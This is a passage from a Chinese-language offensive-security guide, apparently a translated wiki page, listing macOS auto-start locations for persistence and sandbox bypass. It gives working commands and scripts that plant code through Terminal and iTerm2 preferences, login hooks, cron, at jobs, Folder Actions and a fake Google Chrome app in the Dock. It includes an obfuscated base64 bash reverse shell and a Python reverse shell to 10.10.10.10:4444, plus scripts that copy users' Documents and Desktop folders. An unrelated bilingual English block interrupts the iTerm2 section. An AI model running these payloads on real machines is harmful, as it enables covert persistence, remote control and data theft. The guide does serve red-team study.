-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

终端偏好设置

  • 终端使用者需具有FDA权限

位置

  • ~/Library/Preferences/com.apple.Terminal.plist

  • 触发器: 打开终端

描述与利用

在**~/Library/Preferences中存储了用户在应用程序中的偏好设置。其中一些偏好设置可以包含配置以执行其他应用程序/脚本**。

例如,终端可以在启动时执行一个命令:

这个配置反映在文件**~/Library/Preferences/com.apple.Terminal.plist**中,如下所示:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

所以,如果系统中终端的偏好设置的 plist 文件被覆盖,那么可以使用 open 功能来打开终端并执行该命令。

您可以通过以下命令行添加此功能:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

终端脚本 / 其他文件扩展名

  • 终端使用用户的FDA权限

位置

  • 任何地方

  • 触发器: 打开终端

描述 & 利用

尝试使用:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

您还可以使用扩展名**.command、.tool**,其中包含常规shell脚本内容,它们也将被终端打开。

如果终端具有完全磁盘访问权限,它将能够完成该操作(请注意,执行的命令将在终端窗口中可见)。

音频插件

  • 您可能会获得一些额外的TCC访问权限

位置

  • /Library/Audio/Plug-Ins/HAL

  • 需要Root权限

  • 触发器:重新启动coreaudiod或计算机

  • /Library/Audio/Plug-ins/Components

  • 需要Root权限

  • 触发器:重新启动coreaudiod或计算机

  • ~/Library/Audio/Plug-ins/Components

  • 触发器:重新启动coreaudiod或计算机

  • /System/Library/Components

  • 需要Root权限

  • 触发器:重新启动coreaudiod或计算机

描述

根据先前的写作,可以编译一些音频插件并加载它们。

QuickLook插件

  • 您可能会获得一些额外的TCC访问权限

位置

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

描述与利用

当您触发文件的预览(在Finder中选择文件后按空格键)并安装了支持该文件类型的插件时,QuickLook插件可以被执行。

您可以编译自己的QuickLook插件,将其放在上述位置之一以加载它,然后转到支持的文件并按空格键触发它。

登录/注销挂钩

对我来说这不起作用,无论是用户LoginHook还是root LogoutHook

位置

  • 您需要能够执行类似defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh的命令

  • 位于~/Library/Preferences/com.apple.loginwindow.plist

它们已被弃用,但可用于在用户登录时执行命令。

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

这个设置存储在/Users/$USER/Library/Preferences/com.apple.loginwindow.plist中

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

删除它:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

**/private/var/root/Library/Preferences/com.apple.loginwindow.plist**中存储了root用户的自动启动位置。

条件沙盒绕过

在这里,您可以找到有用于绕过沙盒的启动位置,允许您通过将内容写入文件并期望不太常见的条件(如特定已安装的程序,"不寻常"用户操作或环境)来简单执行某些操作。

Cron

  • 但是,您需要能够执行crontab二进制文件

  • 或者是root用户

位置

  • /usr/lib/cron/tabs/、/private/var/at/tabs、/private/var/at/jobs、/etc/periodic/

  • 需要root权限才能直接写入。如果可以执行crontab <file>,则无需root权限

  • 触发器:取决于cron作业

描述和利用

列出当前用户的cron作业:

crontab -l

在**/usr/lib/cron/tabs/和/var/at/tabs/**中可以查看用户的所有cron作业(需要root权限)。

在MacOS中,可以找到几个以特定频率执行脚本的文件夹:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

在这里,您可以找到常规的cron jobs,at jobs(不太常用),以及periodic jobs(主要用于清理临时文件)。 比如,可以使用periodic daily来执行每日的周期性作业。

要通过编程方式添加用户cronjob,可以使用:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

  • iTerm2曾经被授予TCC权限

位置

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • 触发器: 打开iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • 触发器: 打开iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • 触发器: 打开iTerm

描述与利用

存储在**~/Library/Application Support/iTerm2/Scripts/AutoLaunch**中的脚本将被执行。例如:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

macOS自动启动位置

macOS provides several locations where applications and services can be configured to automatically start when a user logs in. These locations can be leveraged by malware to maintain persistence on a system.

macOS提供了几个位置,可以配置应用程序和服务在用户登录时自动启动。恶意软件可以利用这些位置来保持系统的持久性。

The following are common auto start locations in macOS:

以下是macOS中常见的自动启动位置:

  1. Login Items: These are user-specific auto start items that are configured in System Preferences > Users & Groups > Login Items.

    登录项:这些是在“系统偏好设置” > “用户与群组” > “登录项”中配置的特定于用户的自动启动项目。

  2. Launch Agents: These are user-specific or global auto start items that are configured using property list (plist) files in the ~/Library/LaunchAgents/ and /Library/LaunchAgents/ directories.

    启动代理:这些是使用属性列表(plist)文件在~/Library/LaunchAgents/和/Library/LaunchAgents/目录中配置的特定于用户或全局的自动启动项目。

  3. Launch Daemons: These are global auto start items that are configured using property list (plist) files in the /Library/LaunchDaemons/ directory.

    启动守护程序:这些是使用属性列表(plist)文件在/Library/LaunchDaemons/目录中配置的全局自动启动项目。

  4. Startup Items: Deprecated auto start mechanism that was used in older versions of macOS. Startup items are stored in the /Library/StartupItems/ directory.

    启动项:在旧版本的macOS中使用的已弃用的自动启动机制。启动项存储在/Library/StartupItems/目录中。

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

脚本 ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt 也会被执行:

do shell script "touch /tmp/iterm2-autolaunchscpt"

在**~/Library/Preferences/com.googlecode.iterm2.plist中的iTerm2首选项可以指示在打开iTerm2终端时执行的命令**。

此设置可以在iTerm2设置中配置:

而命令会反映在首选项中:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

你可以设置要执行的命令为:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

很可能有其他方法滥用 iTerm2 首选项来执行任意命令。

xbar

  • 但必须安装 xbar

  • 它请求辅助功能权限

位置

  • ~/Library/Application\ Support/xbar/plugins/

  • 触发器: 一旦 xbar 被执行

描述

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

  • 但必须安装 Hammerspoon

  • 它请求辅助功能权限

位置

  • ~/.hammerspoon/init.lua

  • 触发器: 一旦执行 Hammerspoon

描述

该应用程序寻找一个单一文件,~/.hammerspoon/init.lua,并在启动时执行该脚本。

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • 但必须安装BetterTouchTool

  • 它请求Automation-Shortcuts和Accessibility权限

位置

  • ~/Library/Application Support/BetterTouchTool/*

该工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的快捷键和操作以在数据库中执行任意代码(一个快捷键可能只是按下一个键)。

Alfred

  • 但必须安装Alfred

  • 它请求Automation、Accessibility甚至Full-Disk访问权限

位置

  • ???

它允许创建工作流,当满足某些条件时可以执行代码。潜在地,攻击者可以创建一个工作流文件并让Alfred加载它(需要付费版本才能使用工作流)。

SSHRC

  • 但需要启用和使用ssh

  • SSH用于具有FDA访问权限

位置

  • ~/.ssh/rc

  • 触发器:通过ssh登录

  • /etc/ssh/sshrc

  • 需要Root权限

  • 触发器:通过ssh登录

要打开ssh需要完全磁盘访问权限:

sudo systemsetup -setremotelogin on

描述 & 利用

默认情况下,除非在 /etc/ssh/sshd_config 中设置了 PermitUserRC no,当用户通过 SSH 登录时,将执行脚本 /etc/ssh/sshrc 和 ~/.ssh/rc。

登录项

  • 但需要使用 osascript 执行参数

位置

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • 触发: 登录

  • 利用载荷存储调用 osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • 触发: 登录

  • 需要 root 权限

描述

在系统偏好设置 -> 用户与组 -> 登录项 中,您可以找到用户登录时要执行的 项目。 可以通过命令行列出、添加和删除它们:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

这些项目存储在文件**~/Library/Application Support/com.apple.backgroundtaskmanagementagent**

将ZIP作为登录项

(查看有关登录项的先前部分,这是一个扩展)

如果将ZIP文件存储为登录项,则**Archive Utility将打开它,例如,如果ZIP文件存储在~/Library中,并包含具有后门的文件夹LaunchAgents/file.plist**,则该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,plist中指定的后门将被执行。

另一个选项是在用户主目录中创建文件**.bash_profile和.zshenv**,因此如果LaunchAgents文件夹已经存在,则此技术仍将起作用。

At

  • 但您需要执行 at,并且它必须是启用的

位置

  • 需要执行 at,并且它必须是启用的

描述

at任务旨在安排在特定时间执行一次性任务。与cron作业不同,at任务在执行后会自动删除。需要注意的是,这些任务在系统重新启动后仍然存在,这在某些情况下可能会被视为潜在的安全问题。

默认情况下它们是禁用的,但root用户可以使用以下命令启用它们:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

这将在1小时内创建一个文件:

echo "echo 11 > /tmp/at.txt" | at now+1

使用 atq 命令来检查作业队列:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

以上我们可以看到两个已计划的任务。我们可以使用 at -c JOBNUMBER 命令打印任务的详细信息。

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

如果未启用 AT 任务,则创建的任务将不会被执行。

作业文件可以在 /private/var/at/jobs/ 找到

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

文件名包含队列、作业编号和计划运行时间。例如,让我们看看 a0001a019bdcd2。

  • a - 这是队列

  • 0001a - 十六进制的作业编号,0x1a = 26

  • 019bdcd2 - 十六进制的时间。它表示自纪元以来经过的分钟数。0x019bdcd2 在十进制中是 26991826。如果我们将其乘以60,我们得到 1619509560,这是 GMT: 2021年4月27日,星期二 7:46:00。

如果我们打印作业文件,我们会发现它包含了我们使用 at -c 得到的相同信息。

文件夹操作

  • 但您需要能够调用带参数的 osascript 来联系 System Events 以配置文件夹操作

  • 它具有一些基本的TCC权限,如桌面、文稿和下载

位置

  • /Library/Scripts/Folder Action Scripts

  • 需要 root 权限

  • 触发器:访问指定文件夹

  • ~/Library/Scripts/Folder Action Scripts

  • 触发器:访问指定文件夹

描述和利用

文件夹操作是由文件夹中的更改自动触发的脚本,例如添加、删除项目,或其他操作,如打开或调整文件夹窗口。这些操作可用于各种任务,并且可以通过不同方式触发,如使用 Finder UI 或终端命令。

设置文件夹操作时,您可以选择以下选项:

  1. 通过文件夹上下文菜单中的文件夹操作设置手动附加脚本。

  2. 利用 OSAScript 向 System Events.app 发送苹果事件消息,以通过编程方式设置文件夹操作。

  • 这种方法特别适用于将操作嵌入系统中,提供一定程度的持久性。

以下脚本是文件夹操作中可以执行的示例:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

要使上述脚本可被文件夹操作使用,请使用以下命令进行编译:

osacompile -l JavaScript -o folder.scpt source.js

在脚本编译完成后,通过执行以下脚本设置文件夹操作。该脚本将全局启用文件夹操作,并将先前编译的脚本附加到桌面文件夹。

// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

使用以下命令运行设置脚本:

osascript -l JavaScript /Users/username/attach.scpt
  • 通过 GUI 实现这种持久性的方法如下:

这是将被执行的脚本:

source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

使用以下命令编译:osacompile -l JavaScript -o folder.scpt source.js

移动到:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

然后打开Folder Actions Setup应用程序,选择您想要监视的文件夹,并在您的情况下选择**folder.scpt**(在我的情况下,我称其为output2.scp):

现在,如果您使用Finder打开该文件夹,您的脚本将被执行。

此配置存储在以base64格式存储的plist中,位于**~/Library/Preferences/com.apple.FolderActionsDispatcher.plist**。

现在,让我们尝试准备这种持久性而无需GUI访问:

  1. 复制 ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist 到 /tmp 以备份它:

  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp

  1. 删除您刚刚设置的文件夹操作:

现在我们有了一个空环境

  1. 复制备份文件:cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/

  2. 打开Folder Actions Setup.app以使用此配置:open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

对我来说这并没有起作用,但这些是来自报告的指令:(

Dock快捷方式

  • 但您需要在系统内安装一个恶意应用程序

位置

  • ~/Library/Preferences/com.apple.dock.plist

  • 触发器:当用户点击Dock内的应用程序时

描述和利用

Dock中显示的所有应用程序都在plist中指定:~/Library/Preferences/com.apple.dock.plist

只需使用以下内容即可添加一个应用程序:

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

通过一些社会工程,你可以在 dock 中冒充谷歌浏览器,实际上执行你自己的脚本:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

颜色选择器

  • 需要发生一个非常具体的动作

  • 你将进入另一个沙盒

位置

  • /Library/ColorPickers

  • 需要root权限

  • 触发条件:使用颜色选择器

  • ~/Library/ColorPickers

  • 触发条件:使用颜色选择器

描述与利用

然后,当颜色选择器被触发时,你的代码也应该被执行。

请注意,加载你的库的二进制文件有一个非常严格的沙盒:/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

Finder Sync Plugins

  • 有用于绕过沙盒: 否,因为您需要执行自己的应用程序

  • TCC绕过: ???

位置

  • 特定应用程序

描述和利用

应用程序可以拥有Finder Sync Extensions。这个扩展将放在将要执行的应用程序中。此外,为了使扩展能够执行其代码,它必须使用一些有效的苹果开发者证书进行签名,它必须受到沙盒限制(尽管可以添加宽松的例外),并且必须注册到类似于:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

屏幕保护程序

  • 但最终会进入常见应用程序沙盒

位置

  • /System/Library/Screen Savers

  • 需要Root权限

  • 触发器:选择屏幕保护程序

  • /Library/Screen Savers

  • 需要Root权限

  • 触发器:选择屏幕保护程序

  • ~/Library/Screen Savers

  • 触发器:选择屏幕保护程序

描述 & 攻击

在Xcode中创建一个新项目,并选择模板生成一个新的屏幕保护程序。然后,将代码添加到其中,例如以下代码以生成日志。

构建它,并将.saver捆绑包复制到**~/Library/Screen Savers**。然后,打开屏幕保护程序GUI,如果您只需单击它,它应该生成大量日志:

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

请注意,因为在加载此代码的二进制文件的授权文件中 (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver),您可以找到 com.apple.security.app-sandbox,因此您将处于常见应用程序沙箱中。

Saver code:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Spotlight插件

  • 但最终会进入应用程序沙盒

  • 沙盒看起来非常有限

位置

  • ~/Library/Spotlight/

  • 触发条件:创建一个由Spotlight插件管理的扩展名的新文件。

  • /Library/Spotlight/

  • 触发条件:创建一个由Spotlight插件管理的扩展名的新文件。

  • 需要Root权限

  • /System/Library/Spotlight/

  • 触发条件:创建一个由Spotlight插件管理的扩展名的新文件。

  • 需要Root权限

  • Some.app/Contents/Library/Spotlight/

  • 触发条件:创建一个由Spotlight插件管理的扩展名的新文件。

  • 需要新的应用程序

描述和利用

Spotlight是macOS内置的搜索功能,旨在为用户提供快速和全面访问计算机上的数据。 为了促进这种快速搜索功能,Spotlight维护一个专有数据库,通过解析大多数文件创建索引,使得可以通过文件名和内容快速搜索。

Spotlight的基本机制涉及一个名为'mds'的中央进程,代表**'元数据服务器'。该进程协调整个Spotlight服务。此外,还有多个执行各种维护任务的'mdworker'守护程序,例如索引不同文件类型(ps -ef | grep mdworker)。这些任务通过Spotlight导入器插件或".mdimporter bundles**"实现,这些插件使Spotlight能够理解和索引各种文件格式的内容。

这些插件或**.mdimporter** bundles位于先前提到的位置,如果出现新的bundle,它将在一分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪些文件类型和扩展名,这样,当创建具有指定扩展名的新文件时,Spotlight将使用它们。

可以通过运行以下命令找到所有加载的mdimporters:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

例如,/Library/Spotlight/iBooksAuthor.mdimporter 用于解析这些类型的文件(扩展名为 .iba 和 .book 等):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

此外,系统默认插件始终优先,因此攻击者只能访问未被苹果自己的mdimporters索引的文件。

最后构建并复制您的新.mdimporter到三个先前位置之一,您可以通过监视日志或检查**mdimport -L.**来检查它何时加载。

首选项窗格

看起来这似乎不再起作用。

  • 需要特定用户操作

位置

  • /System/Library/PreferencePanes

  • /Library/PreferencePanes

  • ~/Library/PreferencePanes

描述

看起来这似乎不再起作用。

Root沙箱绕过

在这里,您可以找到有用于绕过沙箱的起始位置,允许您通过将其写入文件来简单地执行某些内容,而root和/或需要其他奇怪条件。

周期性

  • 但您需要是root

位置

  • /etc/periodic/daily,/etc/periodic/weekly,/etc/periodic/monthly,/usr/local/etc/periodic

  • 需要root权限

  • 触发器:时间到达时

  • /etc/daily.local,/etc/weekly.local或/etc/monthly.local

  • 需要root权限

  • 触发器:时间到达时

描述与利用

周期性脚本(/etc/periodic)会被执行,因为在/System/Library/LaunchDaemons/com.apple.periodic*中配置了启动守护程序。请注意,存储在/etc/periodic/中的脚本将作为文件的所有者执行,因此这对于潜在的特权升级不起作用。

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

在 /etc/defaults/periodic.conf 中还有其他将被执行的定期脚本:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

如果您设法编写任何文件/etc/daily.local,/etc/weekly.local或/etc/monthly.local,它将迟早被执行。

请注意,周期性脚本将作为脚本的所有者执行。因此,如果常规用户拥有脚本,它将作为该用户执行(这可能会防止特权升级攻击)。

PAM

  • 但您需要是root

位置

